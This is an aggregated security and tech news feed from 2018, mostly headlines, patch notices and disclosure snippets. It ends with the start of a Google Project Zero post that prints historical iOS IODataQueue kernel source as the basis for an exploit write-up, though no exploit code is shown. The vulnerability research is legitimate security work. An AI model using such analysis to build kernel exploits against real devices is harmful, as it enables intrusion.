Ars Technica

Another Defender bites the dust as Netflix cancels Luke Cage

Ars Technica
Luke Cage (Mike Colter) will have to put another dollar in the swear jar when he hears the news.

Enlarge / Luke Cage (Mike Colter) will have to put another dollar in the swear jar when he hears the news. (credit: Netflix)

Just one week ago, Netflix surprised us all by canceling Iron Fist after a much-improved second season. Now we can add Luke Cage to the casualties. Netflix unexpectedly pulled the plug on a third season today. This reduces the original Defenders to Jessica Jones, The Punisher, and Daredevil, whose third season just made its debut.

This is frankly a huge disappointment to fans of the Defenders series. Luke Cage had a strong first two seasons, with a terrific supporting cast—most notably Alfre Woodard as Mariah Dillard, and her right hand, Hernan "Shades" Alzarez (Theo Rossi). While season 2 was a bit uneven, it ended with the dearly departed Mariah turning the tables on Luke, deeding him the Harlem's Paradise nightclub. We were looking forward to seeing what kind of corrupting influence that kind of power might have had on Harlem's hero.

Here's the joint statement from Marvel and Netflix:

Read 2 remaining paragraphs | Comments

  • open
  • next
Schneier on Security

Friday Squid Blogging: Roasted Squid with Tomatillo Salsa

Schneier on Security

Recipe and commentary.

As usual, you can also use this squid post to talk about the security stories in the news that I haven't covered.

Read my blog posting guidelines here.

  • open
  • next
Linux Security

Mageia 2018-0408: ghostscript security update

Linux Security
LinuxSecurity.com: Updated ghostscript packages fix many bugs and security vulnerabilities: Bypassing executeonly to escape -dSAFER sandbox. (CVE-2018-17961) Saved execution stacks can leak operator arrays. (CVE-2018-18073)
  • open
  • next
Linux Security

Mageia 2018-0401: tcpflow security update

Linux Security
LinuxSecurity.com: pdated tcpflow package fixes security vulnerability: An issue was discovered in wifipcap/wifipcap.cpp in TCPFLOW through 1.5.0-alpha. There is an integer overflow in the function handle_prism during caplen processing. If the caplen is less than 144, one can cause
  • open
  • next
Linux Security

Mageia 2018-0406: clamav security update

Linux Security
LinuxSecurity.com: The updated clamav packages fix a security vulnerability: Vulnerability in ClamAV's MEW unpacking feature that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) condition on an affected device (CVE-2018-15378).
  • open
  • next
Linux Security

Mageia 2018-0402: mgetty security update

Linux Security
LinuxSecurity.com: Updated mgetty packages fix security vulnerabilities: The function do_activate() did not properly sanitize shell metacharacters to prevent command injection (CVE-2018-16741).
  • open
  • next
Linux Security

Mageia 2018-0398: docker security update

Linux Security
LinuxSecurity.com: Updated docker packages fix security vulnerabilities: Lack of content verification in docker allowed a remote attacker to cause a Denial of Service via a crafted image layer payload, aka gzip bombing (CVE-2017-14992).
  • open
  • next
Linux Security

Mageia 2018-0407: rust security update

Linux Security
LinuxSecurity.com: Updated rust packages fix security vulnerability The Rust Programming Language Standard Library before version 1.29.1 contains a CWE-680: Integer Overflow to Buffer Overflow vulnerability in the standard library that can result in buffer overflow. This attack
  • open
  • next
Linux Security

[updates-announce] MGASA-2018-0405: Updated glib2.0 packages fix security vulnerabilities

Linux Security
LinuxSecurity.com: The updated glib2.0 packages fix security vulnerabilities: In GNOME GLib 2.56.1, g_markup_parse_context_end_parse() in gmarkup.c has a NULL pointer dereference (CVE-2018-16428).
  • open
  • next
Linux Security

[updates-announce] MGASA-2018-0403: Updated php-smarty packages fix security vulnerability

Linux Security
LinuxSecurity.com: Smarty 3.1.32 or below is prone to a path traversal vulnerability due to insufficient template code sanitization. This allows attackers controlling the executed template code to bypass the trusted directory security restriction and read arbitrary files (CVE-2018-13982).
  • open
  • next
Linux Security

[updates-announce] MGASA-2018-0404: Updated 389-ds-base packages fix security vulnerabilities

Linux Security
LinuxSecurity.com: Updated 389-ds-base package fixes security vulnerabilities: a race condition on reference counter leads to DoS using persistent search (CVE-2018-10850)
  • open
  • next
Linux Security

Mageia 2018-0399: calibre security update

Linux Security
LinuxSecurity.com: Updated calibre package fixes security vulnerability: gui2/viewer/bookmarkmanager.py in Calibre 3.18 calls cPickle.load on imported bookmark data, which allows remote attackers to execute arbitrary code via a crafted .pickle file, as demonstrated by Python code that
  • open
  • next
Linux Security

Mageia 2018-0400: vlc security update

Linux Security
LinuxSecurity.com: This update provides vlc 3.0.4 and fixes atleast the following security issue: A use-after-free was discovered in the MP4 demuxer of the VLC media player, which could result in the execution of arbitrary code if a malformed media
  • open
  • next
Ars Technica

Apple CEO Tim Cook calls on Bloomberg to retract its Chinese spy story

Ars Technica
Apple CEO Tim Cook calls on Bloomberg to retract its Chinese spy story

(credit: Wikipedia)

Apple CEO Tim Cook is calling on Bloomberg Business to retract a story that said his company was the victim of a hardware-based attack carried out by the Chinese government. It's the first time Apple has ever publicly demanded a retraction, according to BuzzFeed.

Since Bloomberg published the exclusive article 15 days ago, a gaggle of companies, well-placed government officials, and security researchers have publicly challenged its accuracy. Apple and Amazon have said they have no knowledge of ever finding or removing servers that contained the kind of spy chips Bloomberg alleged were found in the companies’ networks. Supermicro has also denied knowing anything about malicious chips being secretly implanted into any of its motherboards during the manufacturing process, as Bloomberg reported.

Meanwhile, an official from the US Department of Homeland Security has said he has no reason to doubt the Apple and Amazon denials, and a top official with the National Security Agency has said the vast resources at his disposal have been unable to confirm the report. As Ars reported last week, hardware experts, including two who were contacted by Bloomberg when reporting the story, said the kind of chip-based backdoors alleged by Bloomberg are extremely complex, particularly when introduced in the supply chain. They said state-sponsored attackers likely would prefer to exploit the numerous firmware vulnerabilities that affect motherboards from Supermicro and other makers.

Read 4 remaining paragraphs | Comments

  • open
  • next
Ars Technica

Comcast gigabit cable ($105 with 1TB data cap) now available in 39 states

Ars Technica
A Comcast DOCSIS 3.1 modem.

Enlarge / A Comcast DOCSIS 3.1 modem. (credit: Comcast)

Comcast's gigabit cable service is now available to nearly all of the 58 million homes and businesses in the company's US territory, Comcast announced yesterday.

Comcast, the nation's largest ISP with more than 26 million subscribers, began rolling out gigabit cable in early 2016. It's now available almost universally through Comcast's territory that includes 39 states and the District of Columbia.

Comcast's gigabit cable relies on DOCSIS 3.1 technology to deliver download speeds of up to 1,000Mbps, though Comcast notes that speeds will vary based on network traffic and "actual download speeds might be limited to 940Mbps due to Ethernet technical limitations." Upload speeds are still limited to a comparatively paltry 35Mbps.

Read 6 remaining paragraphs | Comments

  • open
  • next
Security Week

NSA-Linked 'DarkPulsar' Exploit Tool Detailed

Security Week

Kaspersky Lab security researchers have analyzed another exploit tool that was supposedly stolen from the National Security Agency-linked Equation Group.

read more

image image image image image image image image
  • open
  • next
Security Week

0-Day in jQuery Plugin Impacts Thousands of Applications

Security Week

Thousands of projects are possibly impacted by a jQuery File Upload plugin vulnerability that has been actively exploited in the wild, a security researcher has discovered.

read more

image image image image image image image image
  • open
  • next
Linux Security

ArchLinux: 201810-13: thunderbird: multiple issues

Linux Security
LinuxSecurity.com: The package thunderbird before version 60.2.1-1 is vulnerable to multiple issues including arbitrary code execution and information disclosure.
  • open
  • next
Ars Technica

Entire broadband industry sues Vermont to stop state net neutrality law

Ars Technica
A pen and book resting atop a paper copy of a lawsuit.

Enlarge (credit: Getty Images | eccolo74)

The nation's largest broadband industry lobby groups have sued Vermont to stop a state law that requires ISPs to follow net neutrality principles in order to qualify for government contracts.

The lawsuit was filed yesterday in US District Court in Vermont by mobile industry lobby CTIA, cable industry lobby NCTA, telco lobby USTelecom, the New England Cable & Telecommunications Association, and the American Cable Association (ACA), which represents small and mid-size cable companies.

CTIA, NCTA, USTelecom, and the ACA also previously sued California to stop a much stricter net neutrality law, but they're now expanding the legal battle to multiple states. These lobby groups represent all the biggest mobile and home Internet providers in the US and hundreds of smaller ISPs. Comcast, Charter, AT&T, Verizon, T-Mobile US, Sprint, Cox, Frontier, and CenturyLink are among the groups' members.

Read 13 remaining paragraphs | Comments

  • open
  • next
Full Disclosure - Seclist

Zoho ManageEngine OpManager 12.3 allows Unrestricted Arbitrary File Upload

Full Disclosure - Seclist

Posted by Murat Aydemir on Oct 19

I. VULNERABILITY
-------------------------
Zoho ManageEngine OpManager 12.3 allows Unrestricted Arbitrary File Upload

II. CVE REFERENCE
-------------------------
CVE-2018-18475

III. VENDOR
-------------------------
https://www.manageengine.com

IV. TIMELINE
-------------------------
19/09/18 Vulnerability discovered
19/09/18 Vendor contacted
16/10/2018 OPManager replay that they fixed

V. CREDIT
-------------------------
Murat Aydemir and Hakan...
  • open
  • next
Full Disclosure - Seclist

Stored XSS in Viprinet VPN Hub Router

Full Disclosure - Seclist

Posted by Denis Kolegov on Oct 19

SD-WAN New Hope Team identified a stored XSS in Viprinet VPN Hub Router.

Overview:
Input validation and output escaping mechanisms are missing for CLI
interface. Stored XSS is possible. By exploiting that vulnerability an
attacker can obtain sensitive information (e.g., private key) or modify a
remote router’s SSL certificate fingerprint employed in VPN tunneling.

Vulnerability Description:
There are two management interfaces in the Viprinet...
  • open
  • next
Ars Technica

More exclusive than a supercar: A beginner’s guide to buying a GT3 race car

Ars Technica
image

Audi

In the past decade, the well-worn automotive cliché Race on Sunday, sell on Monday has taken a surprising twist. Now, automakers have realized that they can race on Sunday and sell race cars on Monday. If you've got the money, Porsche, Lamborghini, Audi, Acura, Ferrari, Mercedes, McLaren, Nissan, Bentley, and more have a race car for you—for around $500,000.

The rise in popularity of supercars worldwide has been paralleled by explosive growth in international GT3 class sportscar racing. GT3 cars are racing versions of the road-going supercars/GT cars that star in video games, YouTube channels, and print platforms. Instead of being built to a specific set of technical rules, in GT3 each make of car is benchmarked and then "performance balanced" by the FIA (the sporting organization that governs world motorsport) to create a relatively level playing field.

Read 19 remaining paragraphs | Comments

  • open
  • next
Ars Technica

Google to charge Android OEMs as much as $40 per phone in EU

Ars Technica
Google's Building 44, where Android is developed.

Google's Building 44, where Android is developed. (credit: Ron Amadeo)

We're still seeing the fallout from the European Commission's $5 billion antitrust fine against Google. Earlier this week, Google announced it would comply with the ruling by unbundling the Google Android app package, allowing OEMs to skip Chrome and Google Search in favor of alternatives. The catch is that, since ad revenue from these Google services was used to support Android development, Google will start charging device makers that license Google apps but choose the unbundled route.

Now, thanks to a report from The Verge, we're getting an idea of just how much this more flexible app licensing scheme will cost OEMs. Citing "confidential documents" that were shown to the site, The Verge says Google will charge device makers as much as $40 per device if they don't use Google's preferred Android setup. The pricing is flexible based on the country and the pixel density of the device's screen. The EU is split into three tiers, with the UK, Sweden, Germany, Norway, and the Netherlands in the most expensive tier. Lower-end phones in bottom-tier countries can cost as little as $2.50 per device. Android tablets, if any of those still exist, get their own pricing tier that is even across all countries and caps out at $20. It all sounds very complicated, but if we imagine this pricing structure applied to the $720 Galaxy S9 sold in the UK, slapping on the top-end $40 fee works out to a 5.5 percent price increase and a $760 phone.

That's not the only spot in Android OEMs' wallets Google will hit. If OEMs don't pre-install Chrome, the report claims they will no longer get a share of search revenue generated by Chrome users. The report says the new rules will kick in February 1, 2019, which is strange given that Google's new licensing rules from earlier in the week start at the end of the month.

Read 4 remaining paragraphs | Comments

  • open
  • next
Ars Technica

Ars on your lunch break: Theaterwide biotoxic and chemical warfare

Ars Technica
"Mr. McKittrick, after very careful consideration, sir, I've come to the conclusion that your new defense system <em>sucks</em>."

Enlarge / "Mr. McKittrick, after very careful consideration, sir, I've come to the conclusion that your new defense system sucks." (credit: MGM/UA)

Today we’re presenting the fourth and final installment of my conversation with the outspoken author, podcaster, philosopher, and recovering neuroscientist Sam Harris. Please check out parts one, two, and three if you missed them. Otherwise, you can press play on the embedded audio player or pull up the transcript, both of which are below.

We open today’s conversation by talking about bioterrorism. Because that’s not uplifting enough, we then move on to the dangers a super AI could present in certain worst-case scenarios (which was the topic of a popular TED talk of Harris'). This conversation builds on yesterday’s cheerful discussion of nuclear terrorism.

The final part of the podcast is a conversation between me and podcasting superstar Tom Merritt. In it, Merritt and I discuss my interview with Harris—as well as a chunk of my novel After On. This section exists because I originally thought my podcast would be a limited set of just eight episodes connected to that novel. But the podcast acquired a life of its own, and I’m about to publish episode #38 in the series of eight.

Read 7 remaining paragraphs | Comments

  • open
  • next
Ars Technica

New material could up efficiency of concentrated solar power

Ars Technica
A 110 megawatt (MW) solar plant in Israel’s Negev desert.

Enlarge / A 110 megawatt (MW) solar plant in Israel’s Negev desert. (credit: OPIC)

With the price of photovoltaics having plunged dramatically, solar is likely to become a major contributor to the electrical generating mix in many countries. But the intermittent nature of photovoltaics could put a limit on how much they contribute to future grids or force us to develop massive storage capabilities.

But photovoltaics aren't the only solar technology out there. Concentrated solar power uses mirrors to focus the Sun's light, providing heat that can be used to drive turbines. Advances in heat storage mean that the technology can now generate power around the clock, essentially integrating storage into the process of producing energy. Unfortunately, the price of concentrated solar hasn't budged much, and photovoltaics have left it in the dust. But some materials scientists may have figured out a way to boost concentrated solar's efficiency considerably, clawing back some of photovoltaics' advantage.

Feel the heat

Solar thermal revolves around transfers of heat. Sunlight is used to heat up a working fluid at the mirrors' focus. That then transfers the heat either to a storage system or directly to another fluid that is used to drive a turbine—typically steam. Higher temperatures typically mean more work can be extracted, making the efficiency of these transfers critical.

Read 9 remaining paragraphs | Comments

  • open
  • next
Ars Technica

Call of Duty: Black Ops 4 review: War games, now with battle royale!

Ars Technica
Players duking it out in the new Blackout mode.

Enlarge / Players duking it out in the new Blackout mode.

Call of Duty, like video game war simulations in general, is caught in a paradox. It never changes, and yet, every year, it definitely does change. Approaching a new Call of Duty, especially from the multiplayer side, is a bit of a challenge. How much do the various iterative changes matter, and do they manage to reshape the core of the game in any meaningful way? Call of Duty has long been a game about moving fast and shooting guns; what makes the latest version worth playing over the dozen-plus iterations prior?

To be fair, Call of Duty: Black Ops 4 changes more than most. The highly choreographed, extravagantly cinematic single-player campaign that has been de rigueur for the series' entire lifespan has been excised. That leaves an awkward hole at the core of the experience, which developer Treyarch has filled with Blackout, an 88- to 100-player battle royale mode in the vein of Fortnite or PlayerUnknown's Battlegrounds. The rest of the game modes—the standard-by-now multiplayer suite and the ridiculous-but-addictive Zombies mode—fall in line around Blackout, creating a three-tiered experience of hyper-violence and militaristic energy.

Black Ops 4 is the biggest single-game change for the Call of Duty franchise in ages. But it's still, when it comes right down to it, just another Call of Duty.

“Where we droppin’, soldier?”

Black Ops 4 doesn't present its content in any particular order. As a player, you can jump freely between its three modes, and nothing—except for player progression in each mode—is gated from the start. The natural place to start, though, is Blackout, the newest part of the Call of Duty package, both the most derivative and the most distinct mode on offer. Taking place on a sprawling map stitched together from locations and motifs in Call of Duty's multiplayer past, Blackout heavily resembles just about any other battle royale game, both in concept and execution.

Read 14 remaining paragraphs | Comments

  • open
  • next
Security Week

City Pays $2,000 in Computer Ransomware Attack

Security Week

A Connecticut city has paid $2,000 to restore access to its computer system after a ransomware attack.

West Haven officials said Thursday they paid the money to anonymous attackers through the digital currency bitcoin to unlock 23 servers and restore access to city data.

read more

image image image image image image image image
  • open
  • next
Linux Security

Debian LTS: DLA-1550-1: drupal7 security update

Linux Security
LinuxSecurity.com: It was discovered that there was a remote code execution and an external URL injection vulnerability in the Drupal content management framework.
  • open
  • next
Ars Technica

Two orbiters begin their long journey to Mercury Friday night

Ars Technica
image

ESA

One might think it's a relatively easy thing to reach Mercury, the innermost planet in the Solar System. At its closest approach, Mercury is just 77 million kilometers from Earth, or not all that much farther than the closest that Earth comes to Mars. The Earth-Mars transit typically only takes about six months.

However, the Sun's enormous gravity makes putting a spacecraft into orbit around Mercury quite difficult. How much gravity are we talking about? The g-force at the surface of the Earth is 9.8 meters/second^2. By comparison, the Sun's gravity is nearly 30 times greater, at 274 m/s^2.

Read 7 remaining paragraphs | Comments

  • open
  • next
Security Week

Chinese Hackers Use 'Datper' Trojan in Recent Campaign

Security Week

A China-linked cyber espionage group known as Tick was observed using the Datper malware in a recent campaign, Cisco Talos security researchers reveal.

read more

image image image image image image image image
  • open
  • next
Ars Technica

Tesla quietly drops “full self-driving” option as it adds $45,000 Model 3

Ars Technica
Tesla quietly drops “full self-driving” option as it adds $45,000 Model 3

Enlarge (credit: Tesla)

Elon Musk took to Twitter (where else, right?) on Thursday evening to inform his followers of a new addition to the Model 3 lineup. This is not the long-awaited $35,000 version, however; the mid-range Model 3 starts at $45,000. Musk also revealed that the Model 3 ordering process has been simplified and now has fewer options. One that's missing—from all new Tesla orders, not just the Model 3—is the controversial "full self-driving" option. The reason? It was "causing too much confusion," Musk tweeted.

The mid-range Model 3s will be rear-wheel drive only, prompting some to wonder if the company was using software to limit battery capacity on existing RWD inventory in order to get it out of the door. But Tesla says it's able to build these slightly cheaper cars by using the same battery pack as the more expensive, longer-range cars but with fewer cells inside (so no future software upgrades can increase their range at a later date).

However, Tesla is promoting the car as costing as little as $30,700 by factoring in "gas savings" and all possible federal and local electric vehicle tax incentives (but not the destination charge). That it did so is a little surprising; just seven days ago Tesla said that it could not guarantee any order received after October 15th would ship before the beginning of next year. Any new Tesla delivered after January 1st 2019 (but before July 1st 2019) is only eligible for a $3,750 IRS credit. Tesla says delivery for the new mid-range Model 3 should take six to 10 weeks.

Read 2 remaining paragraphs | Comments

  • open
  • next
Security Week

Server With National Guard Personnel Data Target of Attack

Security Week

The Indiana National Guard says a state, non-military computer server containing personal information on civilian and military Guard personnel was the target of a recent ransomware attack.

The Guard said Thursday it is notifying the affected personnel that they should be alert for suspicious activity or fraudulent accounts being opened in their name.

read more

image image image image image image image image
  • open
  • next
Security Week

FreeRTOS Vulnerabilities Expose Many Systems to Attacks

Security Week

Vulnerabilities discovered in the FreeRTOS operating system can expose a wide range of systems to attacks, including smart home devices and critical infrastructure, researchers warn.

read more

image image image image image image image image
  • open
  • next
Ars Technica

Vivaldi 2.0 review: The modern Web browser does not have to be so bland

Ars Technica
image

Vivaldi

The Web browser is likely the most important piece of software on your hardware, whatever that hardware may be. In fact, whenever a new bit of hardware arrives that somehow lacks a way to browse the Web, invariably one of the first things enthusiasts will do is figure out a way to run a browser on it.

Despite their ubiquity, though, there remains very little difference between common Web browsers. Most people seem to get by with whatever was installed by default, and no wonder. Modern browsers like Edge, Internet Explorer, Firefox, Chrome, Safari, and Opera are largely indistinguishable both in appearance and features—why bother with one over the other?

Read 48 remaining paragraphs | Comments

  • open
  • next
Ars Technica

This business card-sized Japanese phone bucks the giant-phone trend

Ars Technica
image

Kyocera

With Apple and most Android OEMs making increasingly larger phones while Apple discontinues the small iPhone SE, it's pretty clear where the smartphone market is going—at least for the near term. But that doesn't mean there aren't some companies bucking the trend by going smaller, not bigger. Earlier this week, we heard that Palm's brand is rebooting with a very small phone that's not meant to be your main portable computing device. But this phone from Kyocera is even smaller.

The Japanese company has been producing unusual phone designs off and on for years, like a Nintendo DS-like dual-screen handset in the early Android days. The latest experiment is the KY-O1L, a phone that would likely fit in one of the credit card slots in your wallet or purse. We said the Palm phone was "about the size of a credit card," and that was true—except in depth. This phone is a little closer to that goalpost in depth. Unfortunately, it's only being released in Japan—but it's an interesting concept to see even if you're not in that region.

Read 4 remaining paragraphs | Comments

  • open
  • next
Schneier on Security

West Virginia Using Internet Voting

Schneier on Security

This is crazy (and dangerous). West Virginia is allowing people to vote via a smart-phone app. Even crazier, the app uses blockchain -- presumably because they have no idea what the security issues with voting actually are.

  • open
  • next
Security Week

EU Leaders Vow Tough Action on Cyber Attacks

Security Week

EU leaders on Thursday condemned the attempted hack on the global chemical weapons watchdog and vowed to step up the bloc's efforts to tackle cyber attacks.

With concerns growing about the malign cyber activities of several countries around the world, notably Russia, the bloc's leaders called for work to begin to set up sanctions to punish hackers.

read more

image image image image image image image image
  • open
  • next
Linux Security News

Password and credit card-stealing Azorult malware adds new tricks

Linux Security News
LinuxSecurity.com: A form of password, credit card details and cryptocurrency-stealing malware has been updated, making it even more potent for cyber criminals.
  • open
  • next
Linux Security News

North Korean hacker crew steals $571M in cryptocurrency across 5 attacks

Linux Security News
LinuxSecurity.com: North Korean hacking outfit "Lazarus" is the most profitable cryptocurrency-hacker syndicate in the world.
  • open
  • next
Ars Technica

Rocket Report: Why SpaceX stays in LA, Russia moves on, buy a missile silo

Ars Technica
The Rocket Report is published weekly.

Enlarge / The Rocket Report is published weekly. (credit: Arianespace/Aurich Lawson)

Welcome to Edition 1.22 of the Rocket Report! We have plenty to discuss this week, from Paul Allen's untimely passing to the Atlas V rocket's success as well as why SpaceX remains in Los Angeles despite California's high taxes and regulations. We also have a fun story about a Titan II missile silo for sale.

As always, we welcome reader submissions, and if you don't want to miss an issue, please subscribe using the box below (the form will not appear on AMP-enabled versions of the site). Each report will include information on small-, medium-, and heavy-lift rockets as well as a quick look ahead at the next three launches on the calendar.

image

Rocket Lab takes steps toward high launch cadence. It may have been nine months since Rocket Lab launched its Electron booster, but the company is growing both in people and facilities. The New Zealand Herald reports that Rocket Lab's staff has nearly doubled, to 330, in the past year, with around 200 in New Zealand and the remainder in the United States. The company plans to hire another 180 employees over the next year.

Read 30 remaining paragraphs | Comments

  • open
  • next
Security Week

Mozilla Brings Encrypted SNI to Firefox Nightly

Security Week

Mozilla says Firefox Nightly now supports encrypting the Transport Layer Security (TLS) Server Name Indication (SNI) extension, several weeks after Cloudflare announced it turned on Encrypted SNI (ESNI) across all of its network.

read more

image image image image image image image image
  • open
  • next
Security Week

Remote Code Execution Flaws Patched in Drupal

Security Week

Developers of the Drupal content management system (CMS) have patched several vulnerabilities in the 7 and 8 branches, including serious flaws that can be exploited for remote code execution.

read more

image image image image image image image image
  • open
  • next
Security Week

Splunk Patches Several Flaws in Enterprise, Light Products

Security Week

Splunk recently patched several vulnerabilities in its Enterprise and Light products, including flaws that have been rated “high severity.”

read more

image image image image image image image image
  • open
  • next
OWASP

Making Security Approachable for Developers and Operators - Armon Dadgar - AppSecUSA 2018

OWASP
  • open
  • next
Full Disclosure - Seclist

CA20181017-01: Security Notice for CA Identity Governance

Full Disclosure - Seclist

Posted by Kotas, Kevin J on Oct 18

CA20181017-01: Security Notice for CA Identity Governance

Issued: October 17, 2018
Last Updated: October 17, 2018

CA Technologies Support is alerting customers to a low risk issue
with CA Identity Governance. In a certain product configuration, an
attacker can gain sensitive information. CA published solutions to
address the vulnerability.

The vulnerability, CVE-2018-14597, occurs due to how CA Identity
Governance responds to login requests....
  • open
  • next
Linux Security

openSUSE: 2018:3235-1: moderate: java-11-openjdk

Linux Security
LinuxSecurity.com: An update that solves 8 vulnerabilities and has one errata is now available.
  • open
  • next
Project Zero - Google

Deja-XNU

Project Zero - Google
Posted by Ian Beer, Google Project Zero

This blog post revisits an old bug found by Pangu Team and combines it with a new, albeit very similar issue I recently found to try to build a "perfect" exploit for iOS 7.1.2.

State of the art
An idea I've wanted to play with for a while is to revisit old bugs and try to exploit them again, but using what I've learnt in the meantime about iOS. My hope is that it would give an insight into what the state-of-the-art of iOS exploitation could have looked like a few years ago, and might prove helpful if extrapolated forwards to think about what state-of-the-art exploitation might look like now.

So let's turn back the clock to 2014...

Pangu 7
On June 23 2014 @PanguTeam released the Pangu 7 jailbreak for iOS 7.1-7.1.x. They exploited a lot of bugs. The issue we're interested in is CVE-2014-4461 which Apple described as: A validation issue ... in the handling of certain metadata fields of IOSharedDataQueue objects. This issue was addressed through relocation of the metadata.

(Note that this kernel bug wasn't actually fixed in iOS 8 and Pangu reused it for Pangu 8...)

Queuerious...
Looking at the iOS 8-era release notes you'll see that Pangu and I had found some bugs in similar areas:

  • IOKit

Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later

Impact: A malicious application may be able to execute arbitrary code with system privileges

Description: A validation issue existed in the handling of certain metadata fields of IODataQueue objects. This issue was addressed through improved validation of metadata.

CVE-2014-4418 : Ian Beer of Google Project Zero

  • IOKit

Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later

Impact: A malicious application may be able to execute arbitrary code with system privileges

Description: A validation issue existed in the handling of certain metadata fields of IODataQueue objects. This issue was addressed through improved validation of metadata.

CVE-2014-4388 : @PanguTeam

  • IOKit

Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later

Impact: A malicious application may be able to execute arbitrary code with system privileges

Description: An integer overflow existed in the handling of IOKit functions. This issue was addressed through improved validation of IOKit API arguments.

CVE-2014-4389 : Ian Beer of Google Project Zero

IODataQueue
I had looked at the IOKit class IODataQueue, which the header file IODataQueue.h tells us "is designed to allow kernel code to queue data to a user process." It does this by creating a lock-free queue data-structure in shared memory.

IODataQueue was quite simple, there were only two fields: dataQueue and notifyMsg:

class IODataQueue : public OSObject
{
 OSDeclareDefaultStructors(IODataQueue)
protected:
 IODataQueueMemory * dataQueue;
 void * notifyMsg;
public:
 static IODataQueue *withCapacity(UInt32 size);
 static IODataQueue *withEntries(UInt32 numEntries, UInt32 entrySize);
 virtual Boolean initWithCapacity(UInt32 size);
 virtual Boolean initWithEntries(UInt32 numEntries, UInt32 entrySize);
 virtual Boolean enqueue(void *data, UInt32 dataSize);
 virtual void setNotificationPort(mach_port_t port);
 virtual IOMemoryDescriptor *getMemoryDescriptor();
};

Here's the entire implementation of IODataQueue, as it was around iOS 7.1.2:

OSDefineMetaClassAndStructors(IODataQueue, OSObject)

IODataQueue *IODataQueue::withCapacity(UInt32 size)
{
   IODataQueue *dataQueue = new IODataQueue;

   if (dataQueue) {
       if (!dataQueue->initWithCapacity(size)) {
           dataQueue->release();
           dataQueue = 0;
       }
   }

   return dataQueue;
}

IODataQueue *IODataQueue::withEntries(UInt32 numEntries, UInt32 entrySize)
{
   IODataQueue *dataQueue = new IODataQueue;

   if (dataQueue) {
       if (!dataQueue->initWithEntries(numEntries, entrySize)) {
           dataQueue->release();
           dataQueue = 0;
       }
   }

   return dataQueue;
}

Boolean IODataQueue::initWithCapacity(UInt32 size)
{
   vm_size_t allocSize = 0;

   if (!super::init()) {
       return false;
   }

   allocSize = round_page(size + DATA_QUEUE_MEMORY_HEADER_SIZE);

   if (allocSize < size) {
       return false;
   }

   dataQueue = (IODataQueueMemory *)IOMallocAligned(allocSize, PAGE_SIZE);
   if (dataQueue == 0) {
       return false;
   }

   dataQueue->queueSize    = size;
   dataQueue->head         = 0;
   dataQueue->tail         = 0;

   return true;
}

Boolean IODataQueue::initWithEntries(UInt32 numEntries, UInt32 entrySize)
{
   return (initWithCapacity((numEntries + 1) * (DATA_QUEUE_ENTRY_HEADER_SIZE + entrySize)));
}

void IODataQueue::free()
{
   if (dataQueue) {
       IOFreeAligned(dataQueue, round_page(dataQueue->queueSize + DATA_QUEUE_MEMORY_HEADER_SIZE));
   }

   super::free();

   return;
}

Boolean IODataQueue::enqueue(void * data, UInt32 dataSize)
{
   const UInt32       head = dataQueue->head;  // volatile
   const UInt32       tail = dataQueue->tail;
   const UInt32       entrySize = dataSize + DATA_QUEUE_ENTRY_HEADER_SIZE;
   IODataQueueEntry * entry;

   if ( tail >= head )
   {
       // Is there enough room at the end for the entry?
       if ( (tail + entrySize) <= dataQueue->queueSize )
       {
           entry = (IODataQueueEntry *)((UInt8 *)dataQueue->queue + tail);

           entry->size = dataSize;
           memcpy(&entry->data, data, dataSize);

           // The tail can be out of bound when the size of the new entry
           // exactly matches the available space at the end of the queue.
           // The tail can range from 0 to dataQueue->queueSize inclusive.

           dataQueue->tail += entrySize;
       }
       else if ( head > entrySize ) // Is there enough room at the beginning?
       {
           // Wrap around to the beginning, but do not allow the tail to catch
           // up to the head.

           dataQueue->queue->size = dataSize;

           // We need to make sure that there is enough room to set the size before
           // doing this. The user client checks for this and will look for the size
           // at the beginning if there isn't room for it at the end.

           if ( ( dataQueue->queueSize - tail ) >= DATA_QUEUE_ENTRY_HEADER_SIZE )
           {
               ((IODataQueueEntry *)((UInt8 *)dataQueue->queue + tail))->size = dataSize;
           }

           memcpy(&dataQueue->queue->data, data, dataSize);
           dataQueue->tail = entrySize;
       }
       else
       {
           return false; // queue is full
       }
   }
   else
   {
       // Do not allow the tail to catch up to the head when the queue is full.
       // That's why the comparison uses a '>' rather than '>='.

       if ( (head - tail) > entrySize )
       {
           entry = (IODataQueueEntry *)((UInt8 *)dataQueue->queue + tail);

           entry->size = dataSize;
           memcpy(&entry->data, data, dataSize);
           dataQueue->tail += entrySize;
       }
       else
       {
           return false; // queue is full
       }
   }

   // Send notification (via mach message) that data is available.

   if ( ( head == tail )                /* queue was empty prior to enqueue() */
   || ( dataQueue->head == tail ) )   /* queue was emptied during enqueue() */
   {
       sendDataAvailableNotification();
   }

   return true;
}

void IODataQueue::setNotificationPort(mach_port_t port)
{
   static struct _notifyMsg init_msg = { {
       MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0),
       sizeof (struct _notifyMsg),
       MACH_PORT_NULL,
       MACH_PORT_NULL,
       0,
       0
   } };

   if (notifyMsg == 0) {
       notifyMsg = IOMalloc(sizeof(struct _notifyMsg));
   }

   *((struct _notifyMsg *)notifyMsg) = init_msg;

   ((struct _notifyMsg *)notifyMsg)->h.msgh_remote_port = port;
}

void IODataQueue::sendDataAvailableNotification()
{
   kern_return_t kr;
   mach_msg_header_t * msgh;

   msgh = (mach_msg_header_t *)notifyMsg;
   if (msgh && msgh->msgh_remote_port) {
       kr = mach_msg_send_from_kernel_proper(msgh, msgh->msgh_size);
       switch(kr) {
           case MACH_SEND_TIMED_OUT: // Notification already sent
           case MACH_MSG_SUCCESS:
               break;
           default:
               IOLog("%s: dataAvailableNotification failed - msg_send returned: %d\n", /*getName()*/"IODataQueue", kr);
               break;
       }
   }
}

IOMemoryDescriptor *IODataQueue::getMemoryDescriptor()
{
   IOMemoryDescriptor *descriptor = 0;

   if (dataQueue != 0) {
       descriptor = IOMemoryDescriptor::withAddress(dataQueue, dataQueue->queueSize + DATA_QUEUE_MEMORY_HEADER_SIZE, kIODirectionOutIn);
   }

   return descriptor;
}

The ::initWithCapacity method allocates the buffer which will end up in shared memory. We can see from the cast that the structure of the memory looks like this:

typedef struct _IODataQueueMemory {
   UInt32            queueSize;
   volatile UInt32   head;
   volatile UInt32   tail;
   IODataQueueEntry  queue[1];
} IODataQueueMemory;

